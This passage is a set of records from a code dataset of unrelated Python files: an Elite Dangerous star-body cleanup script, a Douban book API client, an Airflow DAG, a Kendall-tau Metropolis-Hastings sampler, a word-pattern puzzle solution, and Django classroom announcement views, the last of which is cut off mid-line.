+{"seq_id":"14797237029","text":"#!/usr/bin/python3\n\nfrom sys import intern\nimport sys\nimport bz2\nimport json\nfrom collections import OrderedDict\nimport re\nimport urllib.request\nimport glob\nimport os\nimport os.path\n\nedsmdir   = '/srv/eddata/EDSM'\nbodiesdir = '/srv/eddata/namedbodies'\n\nrevpgsysre = re.compile('[0-9]+(-[0-9]+)?[a-h] [a-z]-[a-z][a-z] ')\npgre = re.compile(' [a-z][a-z]-[a-z] [a-h][0-9]')\ndesigre = re.compile('( [a-h]|( a?b?c?d?e?f?g?h?)? ([1-9][0-9]*( [a-z]( [a-z]( [a-z])?)?)?( [a-h] ring)?|[a-h] belt cluster [1-9][0-9]*))$')\nsdesigre = re.compile(' [a-h]$')\n\nbodiesfile       = edsmdir   + '/bodies.jsonl.bz2'\nbodiesdeltaglob  = edsmdir   + '/bodies-*.jsonl.bz2'\nsyscleanupfile   = bodiesdir + '/syscleanup.txt'\nsysrenamefile    = bodiesdir + '/renamed-systems.txt'\noutfile_mismatch = bodiesdir + '/edsm-bodymismatch.json'\noutfile_named    = bodiesdir + '/edsm-namedbodies.json'\ncachefile_named  = bodiesdir + '/edsm-namedbodies-cache.json'\ndelbodies_named  = bodiesdir + '/edsm-bodies-deleted.txt'\n\nsheeturi = 'https://docs.google.com/spreadsheets/d/e/2PACX-1vR9lEav_Bs8rZGRtwcwuOwQ2hIoiNJ_PWYAEgXk7E3Y-UD0r6uER04y4VoQxFAAdjMS4oipPyySoC3t/pub?gid=711269421&single=true&output=tsv'\n\ndef tojournal(body):\n    j = {}\n    j['edsmsysid'] = body['systemId']\n    j['timestamp'] = body['updateTime'] + 'Z'\n    j['BodyName'] = body['name']\n    j['StarSystem'] = body['systemName']\n    if body['id64'] is not None:\n        j['BodyID'] = body['id64'] >> 55\n    if body['systemId64'] is not None:\n        j['SystemAddress'] = body['systemId64']\n    j['edsmdata'] = body\n    return j\n\ndef loadKnownBodies():\n    knownbodies = set()\n    with urllib.request.urlopen(sheeturi) as f:\n        for line in f:\n            fields = line.decode('utf-8').strip().split('\\t')\n            if len(fields) >= 5 and fields[0] != 'SystemAddress' and fields[0] != '':\n                key = fields[2].lower() + ':' + fields[4].lower()\n                knownbodies.add(key)\n    return knownbodies\n\ndef loadDelBodies():\n    delbodies = set()\n    with open(delbodies_named, 'r') as f:\n        for line in f:\n            delbodies.add(int(line))\n    return delbodies\n\ndef loadSysCleanup():\n    syscleanup = set()\n    with open(syscleanupfile, 'r') as f:\n        for line in f:\n            key = line.strip().lower()\n            syscleanup.add(key)\n    return syscleanup\n\ndef loadSysRename():\n    sysrename = {}\n    with open(sysrenamefile, 'r') as f:\n        for line in f:\n            oldsys, newsys = line.strip().lower().split(',', 1)\n            if newsys is not None:\n                if newsys not in sysrename:\n                    sysrename[newsys] = []\n                sysrename[newsys] += [oldsys]\n    return sysrename\n\ndef loadCache():\n    systems = {}\n    knownbyname = {}\n    rejects = {}\n    excludefiles = set()\n\n    if os.path.exists(cachefile_named):\n        try:\n            with open(cachefile_named, 'r') as f:\n                cachedata = json.load(f)\n                excludefiles = set(cachedata['files'])\n                rejects = cachedata['rejects']\n                systems = { sysid: System(sysid, bodies) for sysid, bodies in cachedata['systems'].items() }\n                knownbyname = { \n                    name: [KnownBody(body) for body in bodies] \n                        for name, bodies in cachedata['knownbyname'].items()\n                }\n        except:\n            pass\n\n    return (systems, knownbyname, rejects, excludefiles)\n\ndef saveCache(systems, knownbyname, rejectstore, excludefiles):\n    with open(cachefile_named + '.tmp', 'w', encoding='utf-8') as f:\n        json.dump({\n            'files': list(excludefiles),\n            'rejects': rejectstore.rejects,\n            'systems': { sysid: system.todict() for sysid, system in systems.items() },\n            'knownbyname': {\n                name: [body.todict() for body in bodies]\n                    for name, bodies in knownbyname.items()\n            }\n        }, f)\n\ndef saveNamedBodies(systems, knownbodies, knownbyname, rejectstore):\n    with open(outfile_named + '.tmp', 'w', encoding='utf-8') as o:\n        o.write('[\\n  ')\n        ol = 0\n        for sysid, system in systems.items():\n            sysbodies = system.processBodiesPass2(knownbodies, knownbyname, rejectstore)\n\n            if sysbodies is not None:\n                for j in sysbodies:\n                    if ol != 0:\n                        o.write(',\\n  ')\n                    o.write(json.dumps(j, sort_keys=True))\n                    ol = ol + 1\n\n        o.write('\\n]\\n')\n\ndef processBodiesFile(filename, systems, knownbodies, knownbyname, rejectstore, sysrename, delbodies):\n    print(\"Processing {0}\".format(filename))\n    with bz2.BZ2File(filename, 'r') as f:\n        system = None\n        for line in f:\n            try:\n                body = Body(json.loads(line.decode('utf-8')))\n            except:\n                print('Error decoding line: {0}'.format(line))\n            else:\n                if system is None or system.sysid != body.sysid:\n                    if body.sysid in systems:\n                        system = systems[body.sysid]\n                    else:\n                        system = System(body.sysid)\n\n                system.processBodyPass1(body, rejectstore, systems, knownbodies, knownbyname, sysrename, delbodies)\n\ndef processBodiesPass1(systems, knownbodies, knownbyname, rejectstore, sysrename, excludefiles, delbodies):\n    if not os.path.exists(cachefile_named) or os.path.getmtime(bodiesfile) > os.path.getmtime(cachefile_named):\n        systems.clear()\n        processBodiesFile(bodiesfile, systems, knownbodies, knownbyname, rejectstore, sysrename, delbodies)\n\n    if True:\n        for fn in sorted(glob.glob(bodiesdeltaglob)):\n            if fn not in excludefiles:\n                if os.path.getmtime(fn) > os.path.getmtime(bodiesfile):\n                    processBodiesFile(fn, systems, knownbodies, knownbyname, rejectstore, sysrename, delbodies)\n                excludefiles.add(fn)\n\nclass RejectStore:\n    def __init__(self, m, rejects):\n        self.ml = 0\n        self.rejects = rejects or {}\n        self.m = m\n\n    def __enter__(self):\n        self.m.write('[\\n  ')\n        for bid, reject in self.rejects.items():\n            self.store(reject)\n        return self\n\n    def __exit__(self, type, value, traceback):\n        if type is None:\n            self.m.write('\\n]\\n')\n\n    def add(self, body, rejectType, rejectReason):\n        self.store(body, rejectType = rejectType, rejectReason = rejectReason)\n        self.rejects[body['id']] = body\n\n    def store(self, body, rejectType = None, rejectReason = None):\n        name = body['name'].lower()\n        sysname = body['systemName'].lower()\n        ts = body['updateTime']\n        if rejectType is not None:\n            body['rejectType'] = rejectType\n        else:\n            rejectType = body['rejectType']\n        if rejectReason is not None:\n            body['rejectReason'] = rejectReason\n        else:\n            rejectReason = body['rejectReason']\n        j = tojournal(body)\n        if self.ml != 0:\n            self.m.write(',\\n  ')\n        self.m.write(json.dumps(j, sort_keys=True))\n        self.ml = self.ml + 1\n        print(\"[{0}] {1}:  {2} / {3} : {4}\".format(ts, rejectType, sysname, name, rejectReason))\n\nclass Body:\n    def __init__(self, body):\n        self.body = body\n        self.id = body['id']\n        self.sysid = body['systemId']\n        self.name = body['name'].lower()\n        self.sysname = body['systemName'].lower()\n        self.sma = body['semiMajorAxis']\n        self.aop = body['argOfPeriapsis']\n        self.inclin = body['orbitalInclination']\n        self.bodyid = body['bodyId']\n        self.ts = body['updateTime']\n        self.disc = body['discovery']\n        self.offset = body['offset']\n        self.desig = None\n        self.ispgdesig = False\n        self.isbadpgsys = False\n\n        if self.name.startswith(self.sysname):\n            self.desig = self.name[len(self.sysname):]\n            if (self.sma is None and self.name == self.sysname) or desigre.match(self.desig):\n                self.ispgdesig = True\n        elif pgre.search(self.name):\n            self.isbadpgsys = True\n\n    def isrenamedsys(self, sysrename):\n        sysname = self.sysname\n        name = self.name\n        if sysname in sysrename and not name.startswith(sysname):\n            if any([name == oldsys or name.startswith(oldsys + ' ') for oldsys in sysrename[sysname]]):\n                return True\n        return False\n\n    def addknownbody(self, knownbodies, knownbyname):\n        kskey = self.sysname + ':' + self.name\n        sysname = self.sysname\n        name = self.name\n        if kskey in knownbodies or (self.ispgdesig and not revpgsysre.match(sysname[::-1])):\n            if name not in knownbyname:\n                knownbyname[name] = []\n            knownbyname[name] += [KnownBody(self.body)]\n            print(\"[{0}] Namedsys:  {1} / {2}\".format(self.ts, sysname, name))\n\n    def isgood(self, knownbodies):\n        kskey = self.sysname + ':' + self.name\n        sysname = self.sysname\n        name = self.name\n        if kskey in knownbodies or (name == sysname and self.sma is not None and self.sma != 0):\n            return True\n        elif not name.startswith(sysname) and not self.isbadpgsys:\n            return True\n\n    def findDuplicate(self, knownbodies, knownbyname):\n        kskey = self.sysname + ':' + self.name\n        if self.name in knownbyname and kskey not in knownbodies:\n            for dup in knownbyname[self.name]:\n                if dup.id != self.id:\n                    if self.sma is None and dup.sma is None:\n                        return dup\n                    elif self.aop is not None and dup.aop is not None and self.inclin is not None and dup.inclin is not None:\n                        if abs(self.aop - dup.aop) < 0.01 and abs(self.inclin - dup.inclin) < 0.01:\n                            return dup\n\nclass KnownBody:\n    def __init__(self, body):\n        self.id = body['id']\n        self.sma = body['semiMajorAxis']\n        self.aop = body['argOfPeriapsis']\n        self.inclin = body['orbitalInclination']\n        self.sysname = intern(body['systemName'])\n\n    def todict(self):\n        return {\n            'id': self.id,\n            'semiMajorAxis': self.sma,\n            'argOfPeriapsis': self.aop,\n            'orbitalInclination': self.inclin,\n            'systemName': self.sysname\n        }\n\nclass System:\n    def __init__(self, sysid, bodies = None):\n        self.sysid = sysid\n        self.bodies = {}\n        if bodies is not None:\n            self.bodies = { bid: Body(body) for bid, body in bodies.items() }\n\n    def add(self, body):\n        self.bodies[body.id] = body\n\n    def processBodyPass1(self, body, rejectstore, systems, knownbodies, knownbyname, sysrename, delbodies):\n        addsys = False\n\n        if body.id in delbodies:\n            return\n\n        if body.id in rejectstore.rejects:\n            return\n\n        if body.isrenamedsys(sysrename):\n            rejectstore.add(body.body, 'Rejected', 'Body with old system name')\n            return\n\n        if body.isgood(knownbodies):\n            addsys = True\n        elif body.isbadpgsys:\n            rejectstore.add(body.body, 'Mismatch', 'Procgen body in wrong system')\n            return\n\n        body.addknownbody(knownbodies, knownbyname)\n\n        self.add(body)\n\n        if body.sysid in systems:\n            print('[{0}] Processing {1} / {2}'.format(body.ts, body.sysname, body.name))\n        elif addsys:\n            systems[body.sysid] = self\n            for bid, b in self.bodies.items():\n                print('[{0}] Processing {1} / {2}'.format(b.ts, b.sysname, b.name))\n\n    def processBodiesPass2(self, knownbodies, knownbyname, rejectstore):\n        isnamed = self.isnamed()\n        sysbodies = []\n        addsys = False\n\n        for bid, body in self.bodies.items():\n            kskey = body.sysname + ':' + body.name\n            j = tojournal(body.body)\n            isdup = False\n            ispgdesig = False\n            desig = None\n            mismatchreason = None\n\n            dup = body.findDuplicate(knownbodies, knownbyname)\n            if dup:\n                isdup = True\n                mismatchreason = 'Duplicate of body in {0}'.format(dup.sysname)\n\n            if (isnamed and not isdup and not body.ispgdesig) or kskey in knownbodies:\n                addsys = True\n                sysbodies += [j]\n                print(\"[{0}] Named:    {1} / {2}\".format(body.ts, body.sysname, body.name))\n            elif body.ispgdesig:\n                if len(body.desig) == 2 and sdesigre.match(body.desig):\n                    sysbodies += [j]\n                print(\"[{0}] Desig:    {1} / {2}\".format(body.ts, body.sysname, body.name))\n            elif mismatchreason is None and body.ts > '2016-11-01' and body.ts[:10] != '2017-04-04':\n                addsys = True\n                sysbodies += [j]\n                print(\"[{0}] Unknown:  {1} / {2}\".format(body.ts, body.sysname, body.name))\n            else:\n                if mismatchreason is None:\n                    mismatchreason = 'Misnamed body or wrong system'\n                rejectstore.store(body.body, 'Mismatch', mismatchreason)\n\n        if addsys:\n            return sysbodies\n\n    def isnamed(self):\n        isnamed = False\n        for bid, body in self.bodies.items():\n            kskey = body.sysname + ':' + body.name\n            if (body.name == body.sysname and body.sma is not None and body.sma != 0):\n                isnamed = True\n        return isnamed\n\n    def todict(self):\n        return { bid: body.body for bid, body in self.bodies.items() }\n\ndef main():\n    print('Loading known bodies')\n    knownbodies = loadKnownBodies()\n    print('Loading delete bodies')\n    delbodies = loadDelBodies()\n    print('Loading renamed systems')\n    sysrename = loadSysRename()\n    print('Loading cache')\n    systems, knownbyname, rejects, excludefiles = loadCache()\n\n    with open(outfile_mismatch + '.tmp', 'w', encoding='utf-8') as m, RejectStore(m, rejects) as rejectstore:\n        print('Processing bodies')\n        processBodiesPass1(systems, knownbodies, knownbyname, rejectstore, sysrename, excludefiles, delbodies)\n\n        print('Saving cache')\n        saveCache(systems, knownbyname, rejectstore, excludefiles)\n\n        print('Saving named bodies')\n        saveNamedBodies(systems, knownbodies, knownbyname, rejectstore)\n\n    os.rename(outfile_mismatch + '.tmp', outfile_mismatch)\n    os.rename(outfile_named + '.tmp', outfile_named)\n    os.rename(cachefile_named + '.tmp', cachefile_named)\n\nif __name__ == '__main__':\n    main()\n","repo_name":"klightspeed/edgalaxydata-scripts","sub_path":"scripts/namedbodies-edsm.py","file_name":"namedbodies-edsm.py","file_ext":"py","file_size_in_byte":14601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"9075878718","text":"import requests\nimport re\n\nheaders = {\n    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36'}\n\n\ndef search_book(q='', tag='', start=0, count=20):\n    '''\n        搜索书籍\n    :param q: 查询关键字，q和tag必传其一\n    :param tag:查询的tag，q和tag必传其一\n    :param start:取结果的offset，默认为0\n    :param count:取结果的条数，默认为20，最大为100\n    :return: 第一本书籍的id\n    '''\n    url = 'https://api.douban.com/v2/book/search'\n    params = {'q': q,\n              'tag': tag,\n              'start': start,\n              'count': count,\n              }\n    req = requests.get(url=url, params=params, headers=headers)\n    result = req.json()\n    # 根据返回状态码来处理结果\n    if req.status_code == 200:\n        books = result['books']\n        if books:\n            id = books[0]['id']\n        return id\n    else:\n        print(result)\n        req.raise_for_status()\n\n\ndef get_annotations(book_id, format='text', order='rank', page='', count=None):\n    '''\n        获得书籍的笔记\n    :param book_id: 书籍的id\n    :param format: 返回content字段格式，选填（编辑伪标签格式：text, HTML格式：html），默认为text\n    :param order: 排序，选填（最新笔记：collect, 按有用程度：rank, 按页码先后：page），默认为rank\n    :param page: 按页码过滤，选填\n    :param count: 取结果的条数，默认为20，最大为100\n    :return: 笔记的list\n    '''\n    url = 'https://api.douban.com/v2/book/{id}/annotations'.format(id=book_id)\n    params = {'format': format,\n              'order': order,\n              'page': page,\n              'count': count,\n              }\n    req = requests.get(url=url, params=params, headers=headers)\n    result = req.json()\n    # 根据返回状态���来处理结果\n    if req.status_code == 200:\n        annotations = result['annotations']\n        annotation_content = [annotation['content'] for annotation in annotations]\n        return annotation_content\n    else:\n        print(result)\n        req.raise_for_status()\n\n\ndef check_str(content):\n    '''\n        检查字符串内容中中文字符是否大于50个\n    :param content:字符串\n    :return: 布尔值\n    '''\n    str = re.sub('[^\\u4e00-\\u9fa5]+', '', content)\n    if len(str) > 50:\n        return True\n    else:\n        return False\n\n\nif __name__ == '__main__':\n    # 搜索到《设计模式》这本书\n    book_id = search_book(q='设计模式', count=1)\n    # 获取该书最新的50条笔记\n    annotation_content = get_annotations(book_id=book_id, order='collect', count=50)\n    # 打印出超过50个中文字符的笔记\n    for i, content in enumerate(annotation_content):\n        if check_str(content):\n            result = '第{i}条笔记:\\n{content}'.format(i=i, content=content)\n            print(result)\n            print('+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++')\n","repo_name":"JarHMJ/python-challenge","sub_path":"src/jarhmj_demo/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"17107231326","text":"\"\"\"\n\nAirflow's template rendering functionality \n    using the jinja_env object available in context.\n\n    \nUsage:\n\n    By passing the context as an argument to the render() method, \n    we are providing all variables available in the task context, \n    including ds (the date provided by Airflow).\n\n\"\"\"\n\n\nimport pandas as pd\n\nfrom airflow.operators.bash import BashOperator\n\nfrom airflow.decorators import dag, task\nfrom airflow.models.param import Param\n\nimport pendulum\n\n\n@dag(\n    dag_id=\"jinjaenv_obj_render_params\",\n    schedule=\"@daily\",\n    start_date=pendulum.datetime(year=2023, month=5, day=4),\n    end_date=pendulum.datetime(year=2023, month=5, day=7),\n    render_template_as_native_obj=True,\n    params={\n        \"input_path\": Param(\"~/data/events/{{ ds }}.json\", type=\"string\"),\n        \"output_path\": Param(\"~/data/stats.csv\", type=\"string\"),\n    },\n)\ndef task_flow():\n    fetch_events = BashOperator(\n        task_id=\"fetch_events\",\n        bash_command=(\n            \"echo site final: 'http://127.0.0.1:5000/events?start_date={{data_interval_start.strftime('%Y-%m-%d')}}&end_date={{data_interval_end.strftime('%Y-%m-%d')}}' \"\n            \" &&\"\n            \"mkdir -p ~/data/events/ && \"\n            \"curl -o ~/data/events/{{ ds }}.json \"\n            \" 'http://127.0.0.1:5000/events?start_date={{data_interval_start.strftime('%Y-%m-%d')}}&end_date={{data_interval_end.strftime('%Y-%m-%d')}}' \"\n        ),\n    )\n\n    @task()\n    def _calculate_stats(**context):\n        \"\"\"Calculates event statistics.\"\"\"\n\n        jinja_env = context[\"dag\"].get_template_env()\n        input_path = jinja_env.from_string(context[\"params\"][\"input_path\"]).render(\n            context\n        )\n        output_path = jinja_env.from_string(context[\"params\"][\"output_path\"]).render(\n            context\n        )\n\n        print(f\"Reading events from {input_path}\")\n        events = pd.read_json(input_path)\n        print(f\"Calculating stats\")\n        stats = (\n            events.groupby([\"date\", \"user\"])\n            .size()\n            .reset_index(name=\"n_events\")\n            .sort_values([\"date\", \"n_events\"], ascending=[True, False])\n        )\n        print(stats.tail(5))\n        print(f\"Writing stats to {output_path}\")\n        stats.to_csv(output_path, mode=\"a\", index=False)\n        print(\"Done!\")\n\n    fetch_events >> _calculate_stats()\n\n\ntask_flow()\n","repo_name":"RickLeite/spark-general-may2023","sub_path":"airflow/2.Events/dags/dag params with templates variables in task/jinjaenv_obj_render.py","file_name":"jinjaenv_obj_render.py","file_ext":"py","file_size_in_byte":2353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"32782585093","text":"import random\nimport itertools\nimport numpy\n\n#Given two arrays, x and y, calculate the tau distance\ndef kendalltau(x,y):\n    distance = 0\n    for i in itertools.combinations(y,2):\n        if (x.index(i[0]) > x.index(i[1])):\n            distance = distance + 1\n    return distance\n\n#Kendall tau given a table rather than an array\ndef kendalltau_table(v, D):\n    distance = 0\n    for i in itertools.combinations(v,2):\n        distance = distance + D[i[1]][i[0]]\n    return distance    \n\nclass metropolis_hastings:\n\n    params = {}\n\n    #Transition function. Randomly chooses a pair of neighbors to swap\n    def transition_swap_neighbors(self, x):\n        swap = random.randint(0, len(x)-2)\n        x_p = list(x)\n        x_p[swap + 1], x_p[swap] = x_p[swap], x_p[swap + 1]\n        return x_p\n\n    #Determines whether to move to x_p or not\n    #Standard implementation would have the distribution zero out when kt distance gets too high\n    #So instead of probabilities, we use the kendall-tau distance. So we need to adapt the move function.\n    def move_kendalltau(self, kt_x, kt_x_p, ratio):\n        if self.params[\"phi\"]:\n            phi = self.params[\"phi\"]\n        else:\n            phi = 0.2\n        if(kt_x_p < kt_x): #Always move if \n            return True\n        if(random.random()*ratio < pow(phi, kt_x_p - kt_x)):\n            return True\n        return False\n\n    #The default move function uses actual probabilities\n    def move_default(self, prob_x, prob_x_p, ratio):\n        if(prob_x_p > prob_x):\n            return True\n        if(random.random()*ratio < prob_x_p / prob_x):\n            return True\n        return False\n\n    def get_random_L(self, k):\n        x = range(k)\n        random.shuffle(x)\n        return x\n\n    def get_random_B(self, k):\n        x = [[0 for i in range(k)] for j in range(k)] #Create blank matrix\n        for i in range(0, k-1):\n            for j in range(i+1, k):\n                x[i][j] = random.random() > 0.5\n        return x\n        \n    #Default the prior distribution to uniform\n    def uniform_prior(self, sampleA, sampleB):\n        return 1\n\n    #Set random parameter to L(C) or B(C)\n    def set_random(self, function):\n        functions = {\"L(C)\" : self.get_random_L, \"B(C)\" : self.get_random_B}\n        self.get_random = functions[function]\n\n    get_random = get_random_L\n    prior = uniform_prior\n\n    #Given a preference table, run the M-H algorithm\n    def approximate(self, preferences, k, parameters, ground=\"\", trans_f=\"\", loss_f=\"\", prior_f=\"\",\n                                                dist_f=\"\", move_f = \"\", space=\"L(C)\"):\n        if trans_f:\n            self.transition = trans_f #Set all of our parameters and functions\n        else:\n            self.transition = self.transition_swap_neighbors\n        if loss_f:\n            self.loss = loss_f\n        else:\n            self.loss = kendalltau\n        if dist_f:\n            self.distribution = dist_f\n        else:\n            self.distribution = kendalltau_table\n        if move_f:\n            self.should_move = move_f\n        else:\n            self.should_move = self.move_kendalltau\n        if prior_f:\n            self.prior = prior_f\n        self.set_random(space)\n        \n\n        self.params = parameters\n\n        \n        t = 0\n\n        #Start with a random x0\n        x = self.get_random(k)\n\n        prob_x = self.distribution(x, preferences)\n\n        #Perform a random walk\n        while t < pow(k-2, 2) * 1.8:\n            t = t + 1\n\n            #Calculate x'\n            x_p = self.transition(x)\n            \n            #Calculate the acceptance rate and determine whether to step\n            prob_x_p = self.distribution(x_p, preferences)\n            ratio = self.prior(x, x_p)\n            if(self.should_move(prob_x, prob_x_p, ratio)):\n                (x, prob_x) = (x_p, prob_x_p)\n\n        if ground:\n            return self.loss(ground, x)\n        return x","repo_name":"hughed2/MallowMH","sub_path":"MetroHastings.py","file_name":"MetroHastings.py","file_ext":"py","file_size_in_byte":3895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"14748507517","text":"def word_pattern(pattern, s):\n    pals = s.split(\" \")\n\n    if len(pattern) != len(pals):\n        return False\n\n    lTP = {}\n    pTL = {}\n\n    for char, pal in zip(pattern, pals):\n        if char in lTP and lTP[char] != pal:\n            return False\n        if pal in pTL and pTL[pal] != char:\n            return False\n        lTP[char] = pal\n        pTL[pal] = char\n\n    return True\n\n\nprint(word_pattern('abba', \"cat dog dog cat\"))\n","repo_name":"Fezk3/LeetCodeProblems","sub_path":"Word_Pattern.py","file_name":"Word_Pattern.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"42788322453","text":"from django.shortcuts import render\nfrom rest_framework.views import APIView\nfrom django.http import HttpResponse\nfrom rest_framework.response import Response\nfrom Announcement.models import Announcement\nfrom Announcement.serializers import AnnouncementSerializer\nfrom AuthUser.serializers import UserSerializer\nfrom AuthUser.models import User\nfrom Classroom.models import Classroom\nfrom Comment.serializers import CommentSerializer\nfrom Classroom.serializers import ClassroomSerializer\nfrom Comment.models import Comment\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework import status\nfrom Notifications.views import Notify, sendMail \nfrom Notifications.models import Notification\n\nclass AnnouncementView(APIView):\n\tpermission_classes = (IsAuthenticated, )\n\n\tdef get(self, request, format=None):\n\t\t'''To get announcements from a classroom.\n\t\tTakes classroom_id.\n\t\treturns list of announcements in that classroom.'''\n\n\t\tclassroom_id = request.GET.get('classroom_id')\n\t\ttry:\n\t\t\tannouncements = Announcement.objects.filter(classroom__id=classroom_id)\n\t\t\tserializer = AnnouncementSerializer(announcements, many=True)\n\t\t\treturn Response(serializer.data)\n\t\texcept Exception as e:\n\t\t\treturn Response({\n\t\t\t\t\"error\": \"Classroom query doesn't exists.\"\n\t\t\t\t}, status=status.HTTP_400_BAD_REQUEST)\n\n\tdef post(self, request, format=None):\n\t\t'''To post announcements in a classroom.\n\t\tTakes content, announcer, classroom_id.\n\t\treturns the announcement object.'''\n\n\t\ttry:\n\t\t\tclassroom = Classroom.objects.get(id=request.data.get('classroom_id'))\n\t\t\tif request.user.username == classroom.creator.username:\n\t\t\t\tserializer = AnnouncementSerializer(data=request.data)\n\t\t\t\tif serializer.is_valid():\n\t\t\t\t\tserializer.save(announcer=request.user, classroom=classroom)\n\t\t\t\t\tstudents = classroom.students.all()\n\t\t\t\t\tmsg = \"A new announcement is posted in \"+ str(classroom.name) +\".\"\n\t\t\t\t\tNotify(sender=request.user, receiver=[student for student in students], type=Notification.AN, text=msg)\n\t\t\t\t\tsendMail(recipient=[student.email for student in students],subject=\"Aphlabet Notification\",body= msg )\n\t\t\t\t\treturn Response(serializer.data)\n\t\t\t\telse:\n\t\t\t\t\treturn Response(serializer.errors)\n\t\t\telse:\n\t\t\t\treturn Response({\n\t\t\t\t\t\"error\": \"You aren't authorized to add data in this classroom.\"\n\t\t\t\t\t}, status = status.HTTP_400_BAD_REQUEST)\n\t\texcept Exception as e:\n\t\t\tprint(e)\n\t\t\treturn Response({\n\t\t\t\t\"error\": \"Classroom query doesn't exists.\"\n\t\t\t\t}, status=status.HTTP_400_BAD_REQUEST)\n\n\tdef put(self, request, format=None):\n\t\t'''To edit announcements in a classroom.\n\t\tTakes content, classroom_id.\n\t\treturns the announcement object.'''\n\n\t\ttry:\n\t\t\tannouncement_id = request.data.get('annoucement_id')\n\t\t\tannouncement = Announcement.objects.get(id=announcement_id)\n\t\t\tif request.user.username == announcement.announcer.username:\n\t\t\t\tannouncement.content = request.data.get('content')\n\t\t\t\tannouncement.save()\n\t\t\t\tstudents = announcement.classroom.students.all()\n\t\t\t\tmsg = \"A announcement is updated in \"+ str(classroom.name) +\".\"\n\t\t\t\tNotify(sender=request.user, receiver=[student for student in students], type=Notification.C, text=msg)\n\t\t\t\tannouncement_serializer = AnnouncementSerializer(announcement, many=False).data\n\t\t\t\treturn Response(announcement_serializer)\n\t\t\treturn Response({\n\t\t\t\t\t\"errors\": [\n\t\t\t\t\t\t\"You can't update this announcement\"\n\t\t\t\t\t]\n\t\t\t\t}, status=status.HTTP_400_BAD_REQUEST)\n\t\texcept Exception as e:\n\t\t\treturn Response({\n\t\t\t\t\"error\": \"You are not authorized to make changes in this classroom.\"\n\t\t\t\t}, status=status.HTTP_400_BAD_REQUEST)\n\n\tdef delete(self, request, format=None):\n\t\t'''To delete announcements in a classroom.\n\t\tTakes annoucement_id.\n\t\treturns the deleted announcement object with a message.'''\n\n\t\tannouncement_id = request.data.get('annoucement_id')\n\t\tannouncement = Announcement.objects.get(id=announcement_id)\n\t\tif request.user.username == announcement.announcer.username:\n\t\t\tannouncement_serializer = AnnouncementSerializer(announcement, many=False).data\n\t\t\tannouncement.delete()\n\t\t\treturn Response({\n\t\t\t\t\"Action\":\"This announcement is deleted.\",\n\t\t\t\t\"Announcement\":announcement_serializer\n\t\t\t\t})\n\n\nclass AnnoucementCommentView(APIView):\n\tpermission_classes = (IsAuthenticated, )\n\n\tdef get(self, request, format=None):\n\t\t'''To get comment in an announcement.\n\t\tTakes annoucement_id.\n\t\treturns the announcement object with a list of comments.'''\n\n\t\ttry:\n\t\t\tannouncement = Announcement.objects.get(id=request.GET.get('id'))\n\t\t\tif request.user.username == announcement.classroom.creator.username or request.user in announcement.classroom.moderators.all() or request.user in announcement.classroom.students.all():\n\t\t\t\tannouncement_serializer = AnnouncementSerializer(announcement, many=False).data\n\t\t\t\tallcomments = announcement.comment.all()\n\t\t\t\tprint(\"Start\")\n\t\t\t\tcomments_serialized=[]\n\t\t\t\tfor comment in allcomments:\n\t\t\t\t\tserializedcomment = CommentSerializer(comment, many=False).data\n\t\t\t\t\tif(request.user in comment.upvoters.all()):\n\t\t\t\t\t\tserializedcomment['has_Upvoted']=1\n\t\t\t\t\telse:\n\t\t\t\t\t\tserializedcomment['has_Upvoted']=0\n\t\t\t\t\tif(request.user in comment.downvoters.all()):\n\t\t\t\t\t\tserializedcomment['has_Downvoted']=1\n\t\t\t\t\telse:\n\t\t\t\t\t\tserializedcomment['has_Downvoted']=0\n\t\t\t\t\tcomments_serialized.append(serializedcomment)\n\t\t\t\tannouncement_serializer['comments'] = comments_serialized\n\t\t\t\tserializedclassroom = ClassroomSerializer(announcement.classroom, many=False)\n\t\t\t\tannouncement_serializer['classroom'] = serializedclassroom.data\n\t\t\t\treturn Response(announcement_serializer)\n\t\t\telse:\n\t\t\t\treturn Response({\n\t\t\t\t\t\"error\": \"You aren't enrolled in this classroom.\"\n\t\t\t\t\t}, status=status.HTTP_400_BAD_REQUEST)\n\t\texcept Exception as e:\n\t\t\treturn Response({\n\t\t\t\t\"error\": \"Announcement query doesn't exists.\"\n\t\t\t\t}, status=status.HTTP_400_BAD_REQUEST)\n\n\tdef post(self, request, format=None):\n\t\t'''To post a comment in an announcement.\n\t\tTakes annoucement_id, parrent_comment_id and comment_text.\n\t\treturns the announcement object with a list of comments.'''\n\n\t\tannouncement_id = request.data.get('announcement_id')\n\t\ttry:\n\t\t\tannouncement = Announcement.objects.get(id=announcement_id)\n\t\t\tif request.user.username == announcement.classroom.creator.username or request.user in announcement.classroom.moderators.all() or request.user in announcement.classroom.students.all():\n\t\t\t\tcomment = Comment()\n\t\t\t\tif request.data.get('comment_id'):\n\t\t\t\t\ttry:\n\t\t\t\t\t\tcomment.parent = Comment.objects.get(id=request.data.get('comment_id'))\n\t\t\t\t\t\tcomment.commenter = request.user\n\t\t\t\t\t\tcomment.comment_text = request.data.get('content')\n\t\t\t\t\t\tcomment.save()\n\t\t\t\t\texcept Exception as e:\n\t\t\t\t\t\treturn Response({\n\t\t\t\t\t\t\t\"error\": \"Comment query doesn't exists.\"\n\t\t\t\t\t\t\t}, status=status.HTTP_400_BAD_REQUEST)\n\t\t\t\telse:\n\t\t\t\t\tcomment.parent = None\n\t\t\t\t\tcomment.commenter = request.user\n\t\t\t\t\tcomment.comment_text = request.data.get('content')\n\t\t\t\t\tcomment.save()\n\t\t\t\t\tannouncement.comment.add(comment)\n\t\t\t\t\tannouncement.save()\n\t\t\t\tallComments = announcement.comment.all()\n\t\t\t\tserialized_comments = CommentSerializer(allComments, many=True).data\n\t\t\t\tserialized_announcement = AnnouncementSerializer(announcement, many=False).data\n\t\t\t\tserialized_announcement['comments'] = 